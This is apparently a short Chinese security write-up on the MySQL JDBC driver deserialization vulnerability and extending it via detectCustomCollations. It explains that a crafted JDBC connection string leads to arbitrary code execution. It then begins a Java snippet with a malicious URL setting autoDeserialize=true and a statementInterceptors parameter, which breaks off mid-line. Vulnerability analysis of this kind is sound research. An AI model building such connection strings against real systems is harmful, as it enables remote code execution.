从JDBC attack到detectCustomCollations利用范围扩展
# MySQL JDBC 反序列化漏洞分析与利用
## 漏洞概述
MySQL JDBC 驱动存在反序列化漏洞，攻击者可以通过构造恶意的 JDBC 连接字符串，利用 MySQL 驱动的某些特性触发 Java 反序列化操作，从而执行任意代码。
## 关键利用点
### 1. JDBC 连接字符串关键属性
```java
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementIntercept
2025-08-26 20:33:18
0